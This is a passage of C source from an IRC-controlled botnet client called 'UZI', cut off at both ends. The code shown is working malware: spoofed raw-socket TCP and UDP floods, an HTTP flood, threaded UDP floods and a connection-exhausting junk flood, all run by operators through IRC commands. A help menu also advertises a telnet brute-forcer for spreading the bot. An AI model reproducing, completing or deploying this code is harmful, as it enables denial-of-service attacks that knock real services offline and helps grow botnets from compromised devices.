                unsigned char proto;
690
                unsigned short length;
691
        } pseudohead;
692
        unsigned short total_len = iph->tot_len;
693
        pseudohead.src_addr=iph->saddr;
694
        pseudohead.dst_addr=iph->daddr;
695
        pseudohead.zero=0;
696
        pseudohead.proto=IPPROTO_TCP;
697
        pseudohead.length=htons(sizeof(struct tcphdr));
698
        int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
699
        unsigned short *tcp = malloc(totaltcp_len);
700
        memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
701
        memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
702
        unsigned short output = csum(tcp,totaltcp_len);
703
        free(tcp);
704
        return output;
705
}
706
int getHost(unsigned char *toGet, struct in_addr *i)
707
{
708
        struct hostent *h;
709
        if((i->s_addr = inet_addr(toGet)) == -1) return 1;
710
        return 0;
711
}
712
static void printchar(unsigned char **str, int c) {
713
        if (str) {
714
                **str = c;
715
                ++(*str);
716
        }
717
        else (void)write(1, &c, 1);
718
}
719
static int prints(unsigned char **out, const unsigned char *string, int width, int pad) {
720
        register int pc = 0, padchar = ' ';
721
        if (width > 0) {
722
                register int len = 0;
723
                register const unsigned char *ptr;
724
                for (ptr = string; *ptr; ++ptr) ++len;
725
                if (len >= width) width = 0;
726
                else width -= len;
727
                if (pad & PAD_ZERO) padchar = '0';
728
        }
729
        if (!(pad & PAD_RIGHT)) {
730
                for ( ; width > 0; --width) {
731
                        printchar (out, padchar);
732
                        ++pc;
733
                }
734
        }
735
        for ( ; *string ; ++string) {
736
                printchar (out, *string);
737
                ++pc;
738
        }
739
        for ( ; width > 0; --width) {
740
                printchar (out, padchar);
741
                ++pc;
742
        }
743
        return pc;
744
}
745
static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase) {
746
        unsigned char print_buf[PRINT_BUF_LEN];
747
        register unsigned char *s;
748
        register int t, neg = 0, pc = 0;
749
        register unsigned int u = i;
750
        if (i == 0) {
751
                print_buf[0] = '0';
752
                print_buf[1] = '\0';
753
                return prints (out, print_buf, width, pad);
754
        }
755
        if (sg && b == 10 && i < 0) {
756
                neg = 1;
757
                u = -i;
758
        }
759
760
        s = print_buf + PRINT_BUF_LEN-1;
761
        *s = '\0';
762
        while (u) {
763
                t = u % b;
764
                if( t >= 10 )
765
                t += letbase - '0' - 10;
766
                *--s = t + '0';
767
                u /= b;
768
        }
769
        if (neg) {
770
                if( width && (pad & PAD_ZERO) ) {
771
                        printchar (out, '-');
772
                        ++pc;
773
                        --width;
774
                }
775
                else {
776
                        *--s = '-';
777
                }
778
        }
779
780
        return pc + prints (out, s, width, pad);
781
}
782
static int print(unsigned char **out, const unsigned char *format, va_list args ) {
783
        register int width, pad;
784
        register int pc = 0;
785
        unsigned char scr[2];
786
        for (; *format != 0; ++format) {
787
                if (*format == '%') {
788
                        ++format;
789
                        width = pad = 0;
790
                        if (*format == '\0') break;
791
                        if (*format == '%') goto out;
792
                        if (*format == '-') {
793
                                ++format;
794
                                pad = PAD_RIGHT;
795
                        }
796
                        while (*format == '0') {
797
                                ++format;
798
                                pad |= PAD_ZERO;
799
                        }
800
                        for ( ; *format >= '0' && *format <= '9'; ++format) {
801
                                width *= 10;
802
                                width += *format - '0';
803
                        }
804
                        if( *format == 's' ) {
805
                                register char *s = (char *)va_arg( args, int );
806
                                pc += prints (out, s?s:"(null)", width, pad);
807
                                continue;
808
                        }
809
                        if( *format == 'd' ) {
810
                                pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
811
                                continue;
812
                        }
813
                        if( *format == 'x' ) {
814
                                pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
815
                                continue;
816
                        }
817
                        if( *format == 'X' ) {
818
                                pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
819
                                continue;
820
                        }
821
                        if( *format == 'u' ) {
822
                                pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
823
                                continue;
824
                        }
825
                        if( *format == 'c' ) {
826
                                scr[0] = (unsigned char)va_arg( args, int );
827
                                scr[1] = '\0';
828
                                pc += prints (out, scr, width, pad);
829
                                continue;
830
                        }
831
                }
832
                else {
833
out:
834
                        printchar (out, *format);
835
                        ++pc;
836
                }
837
        }
838
        if (out) **out = '\0';
839
        va_end( args );
840
        return pc;
841
}
842
843
int szprintf(unsigned char *out, const unsigned char *format, ...) {
844
        va_list args;
845
        va_start( args, format );
846
        return print( &out, format, args );
847
}
848
849
in_addr_t getRandomPublicIP() { // IP Block, Written by ZH 
850
        static uint8_t ipState[4] = {0};
851
        ipState[0] = rand() % 224;
852
        ipState[1] = rand() % 255;
853
        ipState[2] = rand() % 255;
854
        ipState[3] = rand() % 255;
855
        while(
856
                (ipState[0] == 0) ||
857
                (ipState[0] == 10) ||
858
                (ipState[0] == 100 && (ipState[1] >= 64 && ipState[1] <= 127)) ||
859
                (ipState[0] == 127) ||
860
                (ipState[0] == 169 && ipState[1] == 254) ||
861
                (ipState[0] == 172 && (ipState[1] <= 16 && ipState[1] <= 31)) ||
862
                (ipState[0] == 192 && ipState[1] == 0 && ipState[2] == 2) ||
863
                (ipState[0] == 192 && ipState[1] == 88 && ipState[2] == 99) ||
864
                (ipState[0] == 192 && ipState[1] == 168) ||
865
                (ipState[0] == 198 && (ipState[1] == 18 || ipState[1] == 19)) ||
866
                (ipState[0] == 198 && ipState[1] == 51 && ipState[2] == 100) ||
867
                (ipState[0] == 203 && ipState[1] == 0 && ipState[2] == 113) ||
868
                (ipState[0] >= 224)
869
        )
870
        {
871
                ipState[0] = rand() % 224;
872
                ipState[1] = rand() % 255;
873
                ipState[2] = rand() % 255;
874
                ipState[3] = rand() % 255;
875
        }
876
        char ip[16] = {0};
877
        szprintf(ip, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);
878
        return inet_addr(ip);
879
}
880
void sendTCP(int sock, char *sender, int argc, char **argv)
881
{
882
    if (mfork(sender) != 0) return;
883
    if (argc < 7) {
884
       Send(sock,"PRIVMSG %s :7[QTCP] <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> \n",chan);
885
       exit(1);
886
    }
887
	if (atoi(argv[3]) > maxtime)
888
	{
889
		Send(sock,"PRIVMSG %s :7[TCP] - Invalid time, Max boot time is [%d]!\n",chan, maxtime);
890
		exit(1);
891
	}
892
	if (atoi(argv[6]) > maxSTDpacketsize)
893
	{
894
		Send(sock,"PRIVMSG %s :7[TCP] - Invalid time, Max packetsize is [%d]!\n",chan, maxSTDpacketsize);
895
		exit(1);
896
	}
897
   
898
    char *target = argv[1], *flags = argv[5];
899
    int port = atoi(argv[2]), timeEnd = atoi(argv[3]), spoofit = atoi(argv[4]), packetsize = atoi(argv[6]), pollinterval = atoi(argv[7]);
900
901
    register unsigned int pollRegister;
902
    pollRegister = pollinterval;
903
904
    struct sockaddr_in dest_addr;
905
906
    dest_addr.sin_family = AF_INET;
907
    if(port == 0) dest_addr.sin_port = rand_cmwc();
908
    else dest_addr.sin_port = htons(port);
909
    if(getHost(target, &dest_addr.sin_addr)) return;
910
    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
911
912
    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
913
    if(!sockfd)
914
    {
915
        Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan);
916
        return;
917
    }
918
919
    int tmp = 1;
920
    if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
921
    {
922
        Send(sock,"PRIVMSG %s :7Failed setting raw headers mode.\n",chan);
923
        return;
924
    }
925
926
    in_addr_t netmask;
927
928
    if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
929
    else netmask = ( ~((1 << (32 - spoofit)) - 1) );
930
931
    unsigned char packet[sizeof(struct iphdr) + sizeof(struct tcphdr) + packetsize];
932
    struct iphdr *iph = (struct iphdr *)packet;
933
    struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
934
935
    makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_TCP, sizeof(struct tcphdr) + packetsize);
936
937
    tcph->source = rand_cmwc();
938
    tcph->seq = rand_cmwc();
939
    tcph->ack_seq = 0;
940
    tcph->doff = 5;
941
942
    if(!strcmp(flags, "all"))
943
    {
944
        tcph->syn = 1;
945
        tcph->rst = 1;
946
        tcph->fin = 1;
947
        tcph->ack = 1;
948
        tcph->psh = 1;
949
    } else {
950
        unsigned char *pch = strtok(flags, ",");
951
        while(pch)
952
        {
953
            if(!strcmp(pch, "syn"))
954
            {
955
                tcph->syn = 1;
956
            } else if(!strcmp(pch,  "rst"))
957
            {
958
                tcph->rst = 1;
959
            } else if(!strcmp(pch,  "fin"))
960
            {
961
                tcph->fin = 1;
962
            } else if(!strcmp(pch,  "ack"))
963
            {
964
                tcph->ack = 1;
965
            } else if(!strcmp(pch,  "psh"))
966
            {
967
                tcph->psh = 1;
968
            } else {
969
                Send(sock, "PRIVMSG %s :7Invalid flag [%s]\n", chan, pch);
970
            }
971
            pch = strtok(NULL, ",");
972
            }
973
    }
974
975
    tcph->window = rand_cmwc();
976
    tcph->check = 0;
977
    tcph->urg_ptr = 0;
978
    tcph->dest = (port == 0 ? rand_cmwc() : htons(port));
979
    tcph->check = tcpcsum(iph, tcph);
980
981
    iph->check = csum ((unsigned short *) packet, iph->tot_len);
982
983
    int end = time(NULL) + timeEnd;
984
    register unsigned int i = 0;
985
986
    Send(sock,"PRIVMSG %s :7[TCP] packeting [%s].\n",chan,argv[1]);
987
988
    while(1)
989
    {
990
        sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
991
992
        iph->saddr = htonl( getRandomIP(netmask) );
993
        iph->id = rand_cmwc();
994
        tcph->seq = rand_cmwc();
995
        tcph->source = rand_cmwc();
996
        tcph->check = 0;
997
        tcph->check = tcpcsum(iph, tcph);
998
        iph->check = csum ((unsigned short *) packet, iph->tot_len);
999
1000
        if(i == pollRegister)
1001
        {
1002
            if(time(NULL) > end) break;
1003
                i = 0;
1004
                continue;
1005
            }
1006
            i++;
1007
    }
1008
    Send(sock,"PRIVMSG %s :7[TCP] flood against [%s] finished.\n",chan,argv[1]);
1009
}
1010
int socket_connect(char *host, unsigned short int port) {
1011
    struct hostent *hp;
1012
    struct sockaddr_in addr;
1013
    int on = 1, sock;     
1014
    if ((hp = gethostbyname(host)) == NULL) return 0;
1015
    bcopy(hp->h_addr, &addr.sin_addr, hp->h_length);
1016
    addr.sin_port = htons(port);
1017
    addr.sin_family = AF_INET;
1018
    sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
1019
    setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (const char *)&on, sizeof(int));
1020
    if (sock == -1) return 0;
1021
    if (connect(sock, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) == -1) return 0;
1022
    return sock;
1023
}
1024
1025
void SendHTTP(char *method, char *host, unsigned short int port, char *path, int timeEnd, int power) {
1026
    int socket, i, end = time(NULL) + timeEnd, sendIP = 0;
1027
    char request[512], buffer[1];
1028
    for (i = 0; i < power; i++) {
1029
        if (fork()) {
1030
            while (end > time(NULL)) {
1031
                sprintf(request, "%s %s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n", method, path, host, UserAgents[(rand() % 170)]);
1032
                socket = socket_connect(host, port);
1033
                if (socket != 0) {
1034
                    write(socket, request, strlen(request));
1035
                    read(socket, buffer, 1);
1036
                    close(socket);
1037
                }
1038
            }
1039
            exit(0);
1040
        }
1041
    }
1042
}
1043
1044
void *HTTP(int sock, char *sender, int argc, char **argv) {
1045
    
1046
    // !* HTTP METHOD TARGET PORT PATH TIME POWER
1047
    // !* HTTP GET hackforums.net 80 / 10 100
1048
    if (mfork(sender) != 0) return;
1049
    if (argc < 6 || atoi(argv[3]) < 1 || atoi(argv[5]) < 1) {
1050
        Send(sock, "NOTICE %s :7[HTTPFLOOD] <method> <target> <port> <path> <time> <power> ~ SMALL HTTPFLOOD WRITTEN BY ZH.\n", sender);
1051
        return;
1052
    }
1053
    SendHTTP(argv[1], argv[2], atoi(argv[3]), argv[4], atoi(argv[5]), atoi(argv[6]));
1054
    exit(0);
1055
    
1056
}
1057
void rawUDP(int sock, char *sender, int argc, char **argv) {
1058
	int flag=1,fd,i;
1059
	unsigned long secs;
1060
	char *buf=(char*)malloc(65500);
1061
 	struct hostent *hp;
1062
	struct sockaddr_in in;
1063
        time_t start=time(NULL);
1064
        if (mfork(sender) != 0) return;
1065
	if (argc < 2) {
1066
					
1067
                exit(1);
1068
        }
1069
		if (atoi(argv[2]) > maxtime)
1070
		{
1071
			Send(sock,"PRIVMSG %s :7[RAWUDP] - Invalid time, Max boot time is %d!\n",chan, maxtime);
1072
			exit(1);
1073
		}
1074
        secs=atol(argv[2]);
1075
	memset((void*)&in,0,sizeof(struct sockaddr_in));
1076
	in.sin_addr.s_addr=host2ip(sender,argv[1]);
1077
	in.sin_family = AF_INET;
1078
        Send(sock,"PRIVMSG %s :7Packeting %s With RAWUDP.\n",chan,argv[1]);
1079
	while(1) {
1080
		in.sin_port = rand();
1081
		if ((fd = socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP)) < 0);
1082
		else {
1083
			flag=1;
1084
			ioctl(fd,FIONBIO,&flag);
1085
			sendto(fd,buf,65500,0,(struct sockaddr*)&in,sizeof(in));
1086
			close(fd);
1087
		}
1088
                if (i >= 50) {
1089
                        if (time(NULL) >= start+secs)
1090
						{
1091
							break;
1092
						}
1093
                        i=0;
1094
                }
1095
                i++;
1096
	}
1097
        close(fd);
1098
	exit(0);
1099
}
1100
void move(int sock, char *sender, int argc, char **argv) {
1101
        if (argc < 1) {
1102
                Send(sock,"PRIVMSG %s :7POINT <server>\n",chan);
1103
                exit(1);
1104
        }
1105
	server=strdup(argv[1]);
1106
	changeservers=1;
1107
	close(sock);
1108
}
1109
void help(int sock, char *sender, int argc, char **argv) {
1110
        if (mfork(sender) != 0) return;
1111
        Send(sock,"PRIVMSG %s :7[UZI] - UZI IRC BOT HELP LIST ~WRITTEN BY ZH\n",chan);
1112
        Send(sock,"PRIVMSG %s :7[UZI] - QUDP <target> <port (0 for random)> <time> <netmask> <packet size> <poll interval> <sleep check> <sleep time(ms)> ~QUDP QBOT ATTACK\n",chan); sleep(0.2);
1113
		Send(sock,"PRIVMSG %s :7[UZI] - RUDP <target> <secs> ~RAW UDP ATTACK \n",chan); sleep(0.2);
1114
		Send(sock,"PRIVMSG %s :7[UZI] - QJUNK <target> <port> <secs> ~QJUNK QBOT ATTACK \n",chan); sleep(0.2);
1115
		Send(sock,"PRIVMSG %s :7[UZI] - QHOLD <target> <port> <secs> ~QHOLD QBOT ATTACK \n",chan); sleep(0.2);
1116
        Send(sock,"PRIVMSG %s :7[UZI] - QTCP <target> <port> <secs> <netmask> <flags> <packetsize> <time poll interval> ~QTCP QBOT ATTACK\n",chan); sleep(0.2);
1117
        Send(sock,"PRIVMSG %s :7[UZI] - TSTD <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)> <threads (1-%d)> ~THREADED STD ATTACK WRITTEN BY ZH\n\n",chan, maxSTDpacketsize, maxthreads); sleep(0.2);
1118
		Send(sock,"PRIVMSG %s :7[UZI] - STD <target> <port> <secs> <packet size (1-%d)> <string(RANDOM for makestring)> ~STD ATTACK\n",chan, maxSTDpacketsize); sleep(0.2);
1119
		Send(sock,"PRIVMSG %s :7[UZI] - HTTPFLOOD <method> <target> <port> <path> <time> <power> ~SMALL HTTPFLOOD WRITTEN BY ZH.\n",chan); sleep(0.2);
1120
		Send(sock,"PRIVMSG %s :7[UZI] - UZIBRUTE <ON/OFF> ~EXTREME TELNET BRUTER WRITTEN BY ZH\n",chan); sleep(0.2);
1121
        Send(sock,"PRIVMSG %s :7[UZI] - KILLALL\n",chan); sleep(0.2);
1122
        Send(sock,"PRIVMSG %s :7[UZI] - HELP\n",chan);
1123
        exit(0);
1124
}
1125
void regstd(int sock, char *sender, int argc, char **argv)
1126
{
1127
	if (mfork(sender) != 0) return;
1128
    if (argc < 5) {
1129
	
1130
        Send(sock,"PRIVMSG %s :7[STD] <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)>\n",chan, maxSTDpacketsize);
1131
        exit(1);
1132
		
1133
    }
1134
	if (atoi(argv[3]) > maxtime)
1135
	{
1136
		Send(sock,"PRIVMSG %s :7[STD] - Invalid time, Max boot time is %d!\n",chan, maxtime);
1137
		exit(1);
1138
	}
1139
	if (atoi(argv[4]) > maxSTDpacketsize)
1140
	{
1141
		Send(sock,"PRIVMSG %s :7[STD] - Invalid time, Max packetsize is %d!\n",chan, maxSTDpacketsize);
1142
		exit(1);
1143
	}
1144
	else {
1145
		setpacketsize = atoi(argv[4]);
1146
	}
1147
    unsigned long secs;
1148
1149
    int iSTD_Sock;
1150
1151
    iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
1152
1153
    time_t start = time(NULL);
1154
    secs = atol(argv[3]);
1155
    if (mfork(sender) != 0) return;
1156
	if(argv[5] = "RANDOM")
1157
	{
1158
		char *chokemedaddy = makestring();
1159
		strng2 = chokemedaddy;
1160
	}
1161
	else
1162
	{
1163
		char *lolomgursobig = argv[5];
1164
		strng2 = lolomgursobig;
1165
	}
1166
    Send(sock,"PRIVMSG %s :7[STD]Hitting %s!\n",chan, argv[1]);
1167
	Send(sock,"PRIVMSG %s :7[STD]Packet Size: %d\n",chan, setpacketsize);
1168
	Send(sock,"PRIVMSG %s :7[STD]String: %s\n",chan, strng2);
1169
1170
    struct sockaddr_in sin;
1171
1172
    struct hostent *hp;
1173
1174
    hp = gethostbyname(argv[1]);
1175
1176
    bzero((char*) &sin,sizeof(sin));
1177
    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
1178
    sin.sin_family = hp->h_addrtype;
1179
    sin.sin_port = atol(argv[2]);
1180
1181
    unsigned int a = 0;
1182
1183
    while(1){
1184
        if (a >= 50) 
1185
        {
1186
            send(iSTD_Sock, strng2, argv[4], 0);
1187
            connect(iSTD_Sock,(struct sockaddr *) &sin, sizeof(sin));
1188
            if (time(NULL) >= start + secs) 
1189
            {
1190
                Send(sock, "PRIVMSG %s :7[STD]Done hitting %s!\n", chan, argv[1]);
1191
                close(iSTD_Sock);
1192
                exit(0);
1193
            }
1194
            a = 0;
1195
        }
1196
        a++;
1197
    }
1198
	
1199
1200
}
1201
1202
void *std_worker(void *args){
1203
	struct thread_args *t_args = (struct thread_args *)args;
1204
	connect(t_args->iSTD_Sock,(struct sockaddr *) t_args->sin, sizeof(struct sockaddr));
1205
	unsigned int i = 0;
1206
	while (1){
1207
		send(t_args->iSTD_Sock, strng, setpacketsize, 0);
1208
		//usleep(3);
1209
	}
1210
}
1211
1212
void threadstd(int sock, char *sender, int argc, char **argv) {
1213
    if (mfork(sender) != 0) return;
1214
    if (argc < 6) {
1215
            Send(sock,"PRIVMSG %s :7[THREADSTD] <target> <port> <secs> <packet size(1-%d)> <string(RANDOM for makestring)> <threads (1-%d)>\n",chan, maxSTDpacketsize, maxthreads);
1216
            exit(1);
1217
    }
1218
	if (atoi(argv[3]) > maxtime)
1219
	{
1220
		Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid time, Max boot time is %d!\n",chan, maxtime);
1221
		exit(1);
1222
	}
1223
	if (atoi(argv[4]) > maxSTDpacketsize)
1224
	{
1225
		Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid packetsize, Max packetsize is %d!\n",chan, maxSTDpacketsize);
1226
		exit(1);
1227
	}
1228
	else {
1229
		setpacketsize = atoi(argv[4]);
1230
	}
1231
	if (atoi(argv[6]) > maxthreads)
1232
	{
1233
		Send(sock,"PRIVMSG %s :7[THREADSTD] - Invalid threads, Max amount of threads allowed is %d!\n",chan, maxthreads);
1234
		exit(1);
1235
	}
1236
	else {
1237
		threadamount = atoi(argv[6]);
1238
	}
1239
1240
    unsigned long secs;
1241
1242
    int iSTD_Sock;
1243
1244
    iSTD_Sock = socket(AF_INET, SOCK_DGRAM, 0);
1245
1246
    time_t start = time(NULL);
1247
    secs = atol(argv[3]);
1248
    if (mfork(sender) != 0) return;
1249
	if(argv[5] = "RANDOM") 
1250
	{
1251
		char *spankmedaddy = makestring();
1252
		strng = spankmedaddy;
1253
	}
1254
	else
1255
	{
1256
		char *wooowdaddy = argv[5];
1257
		strng = wooowdaddy;
1258
	}
1259
    Send(sock,"PRIVMSG %s :7[THREADSTD] Railing %s!\n",chan,argv[1]);
1260
	Send(sock,"PRIVMSG %s :7[THREADSTD] Packet Size: %d\n",chan, setpacketsize);
1261
	Send(sock,"PRIVMSG %s :7[THREADSTD] String: %s\n",chan, strng);
1262
	Send(sock,"PRIVMSG %s :7[THREADSTD] Threads: %d\n",chan, threadamount);
1263
1264
    struct sockaddr_in sin;
1265
1266
    struct hostent *hp;
1267
1268
    hp = gethostbyname(argv[1]);
1269
1270
    bzero((char*) &sin,sizeof(sin));
1271
    bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length);
1272
    sin.sin_family = hp->h_addrtype;
1273
    sin.sin_port = atol(argv[2]);
1274
1275
    unsigned int i;
1276
    pthread_t thread_arr[atoi(argv[6])];
1277
    struct thread_args t_args;
1278
    t_args.iSTD_Sock = iSTD_Sock;
1279
    t_args.sin = &sin;
1280
    for (i = 0; i < atoi(argv[6]); i++){
1281
	pthread_create(&thread_arr[i], NULL, std_worker, &t_args);
1282
    }
1283
    while(1){
1284
	if (time(NULL) >= start + secs){
1285
		Send(sock, "PRIVMSG %s :7Packeted[%s]\n", chan, argv[1]);
1286
		close(iSTD_Sock);
1287
		exit(0);
1288
	}
1289
    }
1290
}
1291
1292
int listFork()
1293
{
1294
        uint32_t parent, *newpids, i;
1295
        parent = fork();
1296
        if (parent <= 0) return parent;
1297
        numpids++;
1298
        newpids = (uint32_t*)malloc((numpids + 1) * 4);
1299
        for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
1300
        newpids[numpids - 1] = parent;
1301
        free(pids);
1302
        pids = newpids;
1303
        return parent;
1304
}
1305
1306
void init_rand(uint32_t x)
1307
{
1308
        int i;
1309
1310
        Q[0] = x;
1311
        Q[1] = x + PHI;
1312
        Q[2] = x + PHI + PHI;
1313
1314
        for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
1315
}
1316
1317
void makeRandomStr(unsigned char *buf, int length)
1318
{
1319
        int i = 0;
1320
        for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
1321
}
1322
1323
void sendUDP(unsigned char *target, int port, int timeEnd, int spoofit, int packetsize, int pollinterval, int sleepcheck, int sleeptime)
1324
{
1325
        struct sockaddr_in dest_addr;
1326
1327
        dest_addr.sin_family = AF_INET;
1328
        if(port == 0) dest_addr.sin_port = rand_cmwc();
1329
        else dest_addr.sin_port = htons(port);
1330
        if(getHost(target, &dest_addr.sin_addr)) return;
1331
        memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1332
1333
        register unsigned int pollRegister;
1334
        pollRegister = pollinterval;
1335
1336
		int sock;
1337
		char *sender;
1338
		
1339
        if(spoofit == 32)
1340
        {
1341
                int sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
1342
                if(!sockfd)
1343
                {
1344
						Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan);
1345
                        return;
1346
                }
1347
1348
                unsigned char *buf = (unsigned char *)malloc(packetsize + 1);
1349
                if(buf == NULL) return;
1350
                memset(buf, 0, packetsize + 1);
1351
                makeRandomStr(buf, packetsize);
1352
1353
                int end = time(NULL) + timeEnd;
1354
                register unsigned int i = 0;
1355
				register unsigned int ii = 0;
1356
				int argc;
1357
				char **argv;
1358
				Send(sock,"PRIVMSG %s :7[QUDP] Flooding [%s:%s] (%s Secs)\n",chan, argv[1], atoi(argv[2]), atoi(argv[3]));
1359
                while(1)
1360
                {
1361
                        sendto(sockfd, buf, packetsize, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1362
1363
                        if(i == pollRegister)
1364
                        {
1365
                                if(port == 0) dest_addr.sin_port = rand_cmwc();
1366
                                if(time(NULL) > end) break;
1367
                                i = 0;
1368
                                continue;
1369
                        }
1370
                        i++;
1371
                        if(ii == sleepcheck)
1372
                        {
1373
                            usleep(sleeptime*1000);
1374
							ii = 0;
1375
                            continue;
1376
                        }
1377
                        ii++;
1378
                }
1379
        } else {
1380
                int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
1381
                if(!sockfd)
1382
                {
1383
						Send(sock,"PRIVMSG %s :7Failed opening raw socket.\n",chan);
1384
                        return;
1385
                }
1386
1387
                int tmp = 1;
1388
                if(setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &tmp, sizeof (tmp)) < 0)
1389
                {
1390
						Send(sock,"PRIVMSG %s :7Failed setting raw headers mode.\n",chan);
1391
                        return;
1392
                }
1393
1394
                int counter = 50;
1395
                while(counter--)
1396
                {
1397
                        srand(time(NULL) ^ rand_cmwc());
1398
                        init_rand(rand());
1399
                }
1400
1401
                in_addr_t netmask;
1402
1403
                if ( spoofit == 0 ) netmask = ( ~((in_addr_t) -1) );
1404
                else netmask = ( ~((1 << (32 - spoofit)) - 1) );
1405
1406
                unsigned char packet[sizeof(struct iphdr) + sizeof(struct udphdr) + packetsize];
1407
                struct iphdr *iph = (struct iphdr *)packet;
1408
                struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
1409
1410
                makeIPPacket(iph, dest_addr.sin_addr.s_addr, htonl( getRandomIP(netmask) ), IPPROTO_UDP, sizeof(struct udphdr) + packetsize);
1411
1412
                udph->len = htons(sizeof(struct udphdr) + packetsize);
1413
                udph->source = rand_cmwc();
1414
                udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1415
                udph->check = 0;
1416
1417
                makeRandomStr((unsigned char*)(((unsigned char *)udph) + sizeof(struct udphdr)), packetsize);
1418
1419
                iph->check = csum ((unsigned short *) packet, iph->tot_len);
1420
1421
                int end = time(NULL) + timeEnd;
1422
                register unsigned int i = 0;
1423
				register unsigned int ii = 0;
1424
                while(1)
1425
                {
1426
                    sendto(sockfd, packet, sizeof(packet), 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
1427
1428
                    udph->source = rand_cmwc();
1429
                    udph->dest = (port == 0 ? rand_cmwc() : htons(port));
1430
                    iph->id = rand_cmwc();
1431
                    iph->saddr = htonl( getRandomIP(netmask) );
1432
                    iph->check = csum ((unsigned short *) packet, iph->tot_len);
1433
1434
                    if(i == pollRegister)
1435
                    {
1436
                            if(time(NULL) > end) break;
1437
                            i = 0;
1438
                            continue;
1439
                    }
1440
                    i++;
1441
					
1442
					if(ii == sleepcheck)
1443
                    {
1444
                        usleep(sleeptime*1000);
1445
						ii = 0;
1446
                        continue;
1447
                    }
1448
                    ii++;
1449
                }
1450
				int argc;
1451
				char **argv;
1452
				Send(sock,"PRIVMSG %s :7[QUDP] Flood On [%s:%s] Finished!\n",chan, argv[1], atoi(argv[2]));
1453
        }
1454
}
1455
void sendJUNK(unsigned char *ip, int port, int end_time)
1456
{
1457
1458
    int max = getdtablesize() / 2, i;
1459
1460
    struct sockaddr_in dest_addr;
1461
    dest_addr.sin_family = AF_INET;
1462
    dest_addr.sin_port = htons(port);
1463
    if(getHost(ip, &dest_addr.sin_addr)) return;
1464
    memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
1465
1466
    struct state_t
1467
    {
1468
        int fd;
1469
        uint8_t state;
1470
    } fds[max];
1471
    memset(fds, 0, max * (sizeof(int) + 1));
1472
1473
    fd_set myset;
1474
    struct timeval tv;
1475
    socklen_t lon;
1476
    int valopt, res;
1477
1478
    unsigned char *watwat = malloc(8192);
1479
    memset(watwat, 0, 8192);
1480
    int packetLen = 1024;
1481
    
1482
    int end = time(NULL) + end_time;
1483
    while(end > time(NULL))
1484
    {
1485
        for(i = 0; i < max; i++)
1486
        {
1487
            switch(fds[i].state)
1488
            {
1489
            case 0:
1490
                {
1491
                    fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
1492
                    fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
1493
                    if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) != -1 || errno != EINPROGRESS) close(fds[i].fd);
1494
                    else fds[i].state = 1;
1495
                }
1496
                break;
1497
1498
            case 1:
1499
                {
1500
                    FD_ZERO(&myset);
1501
                    FD_SET(fds[i].fd, &myset);
1502
                    tv.tv_sec = 0;
1503
                    tv.tv_usec = 10000;
1504
                    res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
1505
                    if(res == 1)
1506
                    {
1507
                        lon = sizeof(int);
1508
                        getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
1509
                        if(valopt)
1510
                        {
1511
                            close(fds[i].fd);
1512
                            fds[i].state = 0;
1513
                        } else {
1514
                            fds[i].state = 2;
1515
                        }
1516
                    } else if(res == -1)
1517
                    {
1518
                        close(fds[i].fd);
1519
                        fds[i].state = 0;
1520
                    }
1521
                }
1522
                break;
1523
1524
            case 2:
1525
                {
1526
               
1527
                    packetLen = realrand(32, 8192);
1528
                    makeRandomShit(watwat, packetLen);
1529
                    if(send(fds[i].fd, watwat, packetLen, MSG_NOSIGNAL) == -1 && errno != EAGAIN)
1530
                    {
1531
                        close(fds[i].fd);
